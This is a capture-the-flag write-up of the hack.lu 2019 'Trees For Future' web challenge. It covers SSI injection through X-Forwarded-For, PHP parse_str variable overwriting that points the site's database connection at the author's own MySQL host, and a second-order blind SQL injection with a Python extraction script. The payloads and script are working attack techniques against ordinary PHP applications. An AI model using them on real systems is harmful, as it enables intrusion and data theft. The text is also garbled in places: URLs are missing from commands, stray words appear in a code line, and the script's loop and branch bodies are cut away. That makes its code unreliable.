hack.lu 2019 - Trees For Future

SSI injection, connect back to local MySQL, second order blind SQLi


We are TreesForFuture. We actively work towards getting more trees onto this planet. Recently we hired a contractor to create a website for us. While we still need to fill it with content in some places, you can already look at it


Having scored the first blood and with only 2 teams solving the challenge, I thought it was almost mandatory to publish a write-up. I have to say that I really liked it, even if I found it frustrating at a time. By looking back at all the steps needed to complete it, I can easily see that all the pieces fits perfectly in place and - probably - the only part that required some guessing, i.e., the location of the flag, has been addressed by one of the hints released 24h after the start of the competition. Many thanks to @_Imm0 and fluxfingers for preparing it. I had a long journey hacking through it but highly rewarding!


The challenge provides a simple single-page website that filled with Lorem ipsum quotes and a picture of a tree.

site homepage

A quick analysis of the HTML code of the page reveals a more interesting path where the tree picture is hosted

<img src="/internal/img/logo_white.png" alt="Avatar" width="300" height="300">

This portal served at

internal portal

offers a registration/login form and an admin page that tells us that we are not admin after logging in:

<div class="custom_tooltip">You're not admin.<span class="custom_tooltiptext">XXX.XXX.XXX.XXX isn't admins IP.</span></div>

To the source(s)

It seems obvious that to be identified as admins we need to come from a specific IP. To do so we first identify the internal IP of the host serving the challenge by crafting a malformed request to obtain some useful error message.

$ curl -X ''
<title>400 Bad Request</title>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
<address>Apache/2.4.29 (Ubuntu) Server at Port 13337</address>

Once we know that the challenge is hosted internally at, port 13337, we can try to use the X-Forwarded-For header to trick the server into believing that our original IP is

$ curl -b 'PHPSESSID=qloervi3nq447sdlukt2cp0g29' -H 'X-Forwarded-For:'
<div class="main">
        <div class="custom_tooltip">You're not admin.<span class="custom_tooltiptext">, XXX.XXX.XXX.XXX isn't admins IP.</span></div>

The header is successfully parsed and the IP reflected back into the page, but no admin privileges are granted.

After hours of random attempts, we figured out that it was possible to perform a SSI injection (thanks Jan!) to leak the PHP source code of all the pages of the website.

$ curl -b 'PHPSESSID=qloervi3nq447sdlukt2cp0g29' -H 'X-Forwarded-For: <!--#include virtual="admin.phps" -->'

It's enough to repeat the process for all the pages to reconstruct the entire code base. Notice that the server prevents us from accessing files that are located outside of the current directory, so we can't read the following files: ../config.php, ../db_config.php, ../db_credentials.php.

Digging deeper

The sources are a constellation of bad security practices that is even surprising that the application is actually working. Sadly, this does not mean that the application can be easily exploited. As an example, we report some of the security pitfalls that can be easily spotted.

From login.php:

// We had some issues with double encoded values. This fixed it.
$parmas = parse_str(urldecode(file_get_contents("php://input")));

Here the parse_str() function is used to parse the body of the POST request. The PHP documentation clearly states that

Warning Using this function without the result parameter is highly DISCOURAGED and DEPRECATED as of PHP 7.2. Dynamically setting variables in function's scope suffers from exactly same problems as register_globals. Read section on security of Using Register Globals explaining why it is dangerous.

Basically we can set and overwrite variables by passing them over POST requests.

From register.php:

$params["password"] = hash("sha512", $params["password"]);
$stmt = $pdo->prepare("Insert into members (username, password) values (:username, '{$params['password']}')");
$stmt->bindParam(":username", $params["username"], PDO::PARAM_STR);

Contrary to the username value that is safely bound to the correct parameter, the password is hashed and then its hash is concatenated as a string to the SQL query. That said, the code above does not present any way to inject SQL statements, but it's definitely a bad practice that rang a bell in my head.

From admin.php:

    if (!isset($_SESSION["logged_in"]) || $_SESSION["logged_in"] !== true) {
        header("Location: /internal/login", true, 302);
    } else {
        /* disabled for security reasons */
        die("Disabled for security reasons");
        $parmas = parse_str(urldecode(file_get_contents("php://input")));
        $pdo = new_database_connection();
        $stmt = $pdo->prepare("select * from members where username like '%" . $params["username"] . "%'");
        if ($stmt->rowCount() >= 1) {
            $result = $stmt->fetchAll(PDO::FETCH_ASSOC);
            foreach($result as $row) {
                echo "<tr>";
                echo "<td>{$row['id']}</td>";
                echo "<td>{$row['username']}</td>";
                echo "<td>{$row['password']}</td>";
                echo "<td>{$row['admin']}</td>";
                echo "</tr>";
} ...

This is an extremely weird pattern. The whole code after the second die() call is dead and it is not clear for what reason this has been provided. Notice that without the second die() we could exploit parse_str() to overwrite $params["username"] and inject arbitrary SQL statements.

There are other peculiarities in the code.

From register.php:

if (isset($params["auto_login"])) {
    require_once "login.php";
    die("Welp, I have no idea what you did, but this code is supposed to be dead.");

By passing the $params["auto_login"] via POST to the register page, the backend includes login.php instead of redirecting us to that page.

From utils.php:

function new_database_connection()
       global $db_host, $db_name, $db_user, $db_pass;
       require_once "../db_config.php";
       include "../db_credentials.php";
       $pdo = new PDO("mysql:host=$db_host;dbname=$db_name", $db_user, $db_pass);
       return $pdo;

For some reason the database configuration (most likely $db_host and $db_name) are included using require_once, while the credentials are fetched via include. The difference between the two inclusion methods is that the require_once statement causes PHP to check if the file has already been included, and if so, does not include it again, while include does not perform this check.

From admin.php:

if ($_SESSION["is_admin"] === true) {
    // Joe: Implemented additional check. Bob told me that his friend recently bypassed this and that I should implement additional checks.
    $pdo = new_database_connection();
    $stmt = $pdo->prepare("SELECT admin FROM members WHERE id=" . $_SESSION["id"]);
    if ($stmt->rowCount() === 1) {
        $result = $stmt->fetch(PDO::FETCH_ASSOC);
        if ($result["admin"] === "1") {
            echo '<div id="Login"ok let's try to  class="">';
            echo '<br>';
            echo '<p>';
            echo '<h1><b> Member Search</b></br> </h1>';
            echo '</p>';
            echo '<form action="/internal' . $_SERVER["SCRIPT_NAME"] . '" method="POST">';
            echo '<label for="params[username]"><b>Username</b></label>';
            echo '<br>';
            echo '<button type="submit" class="button"><b>Search</b></button>';
            echo '<br>';
            echo '</form>';
            echo '</div>';
    } else {
        die("You ain't admin. You must be a bad hacker.");

The code above is traumatic. Even in the unlikely event that we manage to become admin, there is no evidence that a flag (in case you forgot, we're here for that indeed) will be printed anywhere.

Putting it all together

The previous section provides all the pieces needed to carry on the exploitation process. Not knowing where the flag is actually stored, my approach consisted in trying to subvert the application in any possible way and afterwards thinking about the flag. Turned out, indeed, that becoming admin was not the ultimate goal of the challenge, but it was a relevant step to get closer to the flag.

We have the powerful capability of setting/overwriting variables via POST requests, so let's try to make a good use of it. As mentioned before, register.php includes login.php if the registration completes successfully and if the POST parameter $params["auto_login"] is provided. In this case, the login.php code shares the environment set previously by the register.php page, including the variables that we can craft thanks to the parse_str() vulnerability. Looking for interesting variables to overwrite, I noticed again the new_database_connection() function defined in utils.php. Due to the different inclusion methods of db_config.php and db_credentials.php, we can assume that $db_user and $db_pass are re-instantiated every time new_database_connection() is called, while $db_host $db_name are left untouched by require_once after the first inclusion. It follows that if we pollute the environment from register.php and we manage to include login.php from the registration page, we can actually control the host and the database name used by the PDO connector used at login time!

Pwn like Bob's friend and get admin privs

The idea at this point is to register with any user, then let the PDO connector fetch login data from a MySQL server under our control and then head to /internal/admin having $_SESSION["is_admin"] set to true. The relevant snippet from login.php is provided below:

$params["password"] = hash("sha512", $params["password"]);
$stmt = $pdo->prepare("select * from members where username=:username and password='" . $params["password"] . "'");
$stmt->bindParam(":username", $params["username"], PDO::PARAM_STR);
if ($stmt->rowCount() === 1) {
    // Successfully logged in. Populate Session.
    $result = $stmt->fetch(PDO::FETCH_ASSOC);
    $_SESSION["username"] = $result["username"];
    $_SESSION["id"] = $result["id"];
    $_SESSION["logged_in"] = true;
    $_SESSION["is_admin"] = $result["admin"] === "1" ? true : false;
    header("Location: /internal/admin", true, 302);

The preconditions to perform the attack are easily satisfiable, but notice that the MySQL username and password used by the connector are unknown. The username ctf-user can be leaked by setting up a MySQL server and check the logs for failed connection attempts, but - as far as I know - the password cannot be retrieved in a similar way.

2019-10-23T01:04:10.766062Z 5 [Note] Access denied for user 'ctf-user'@'' (using password: YES)                                                             

Also, creating a username without a password results in a "access denied" error when the connector provides a password. After enough googling I figured out that is it possible to completely get rid of password checking by setting the option skip-grant-tables on my MySQL configuration file. Thanks to this totally unsafe debugging feature, we can perform the attack by:

  1. Create the database tree in the MySQL instance hosted on our server tree.minimalblue.com and grant access to that db to the user ctf-user
  2. Create the table tree.members and add one row that matches a user that we will register on the challenge site in the next step, setting the admin column to 1. For example, given the user marco with password lol, we should add something like this:
| id | username |                    password | admin |
|  0 |    marco | 3dd28c5a23f780659d83dd99... |     1 |
  1. Register the same user marco with password lol on the and pass to that endpoint the POST variables that will cause the database parameters to be overwritten at login time:
  2. params[username]=marco
  3. params[password]=lol
  4. params[auto_login]=on
  5. db_host=tree.minimalblue.com
  6. db_name=tree
  7. Given that we are forcibly setting admin=1 in the result set of the query performed by the login page, we should be able to simply follow the redirection to /internal/admin to verify that we effectively gained admin access by checking whether the Member Search text is found in the page.

Sorry Joe, we ain't like Bob's friend

Now that we managed to gain admin privileges and we entered a branch in the code that looked impossible to reach at the beginning of this quest, it is time to look for the flag. Assuming that the flag is in the database (this has been subsequently confirmed by a hint released 24h after the competition start), we must find a way to inject arbitrary SQL statements, dump the list of tables, columns and - eventually - read the flag.

To do so we can leverage the same technique adopted to login as admin and perform a second-order SQL injection by saving the payload in the id column the user that we create on our server. You can indeed observer that login.php sets $_SESSION["id"] to any value that we provide in our table and then this value is concatenated in admin.php to perform another query, opening space to SQL injections:

$stmt = $pdo->prepare("SELECT admin FROM members WHERE id=" . $_SESSION["id"]);

Since the output of this query is not directly printed in the page, we have to rely on a blind SQL injection and leak 1 bit of information at a time by registering a new user at every request. As a oracle, we set the admin value to either 1 or 0 depending on our condition. It turned out that the flag was stored in the table s3cr3t_st0r4g3 under the column s3cr3t. The full script developed to execute the attack is provided below:


import sys
import string
from subprocess import run, PIPE
import requests

CHARS = sorted(string.printable, key = lambda c: ord(c))
URL = ''
USERNAME = 'fqertyuiop'
COUNT = 1337

def remote_add(payload):
    user = '{}_{}'.format(USERNAME, COUNT)
    php_code = '''
        $pdo = new PDO("mysql:host=$db_host;dbname=$db_name", $db_user, $db_pass);
        $stmt = $pdo->prepare("INSERT INTO members(id, username, password) VALUES ('QUERY', 'USER', 'f7fbba6e0636f890e56fbbf3283e524c6fa3204ae298382d624741d0dc6638326e282c41be5e4254d8820772c5518a2c5a8c0c7f7eda19594a7eb539453e1ed7')");
    '''.replace('QUERY', payload).replace('USER', user)

    run(['php', '-r', php_code], stdout=PIPE)

def oracle(pos, guess):
    payload = '-337 UNION SELECT IF({}>=(SELECT ORD(MID(s3cr3t, {}, 1)) from s3cr3t_st0r4g3 LIMIT 1), 1, 0)'.format(guess, pos)


    s = requests.Session()
    r = s.post('{}/internal/register.php'.format(URL), {
            'params[username]': '{}_{}'.format(USERNAME, COUNT),
            'params[password]': 'foo',
            'params[auto_login]': 'on',
            'db_host': 'tree.minimalblue.com',
            'db_name': 'tree'
        }, allow_redirects=True)

    return 'Member Search' in r.text

def search_bin(pos):
    global COUNT

    l = 0
    h = len(CHARS)-1

    while l != h:
        m = (l + h) // 2
        if oracle(pos, ord(CHARS[m])):
            h = m
            l = m + 1

        COUNT += 1

    return CHARS[l]

def main():
    for pos in range(1, 100):

if __name__ == '__main__':

Flag: flag{ffc1f54c7a4e7f7e9065d4b16f1ac742}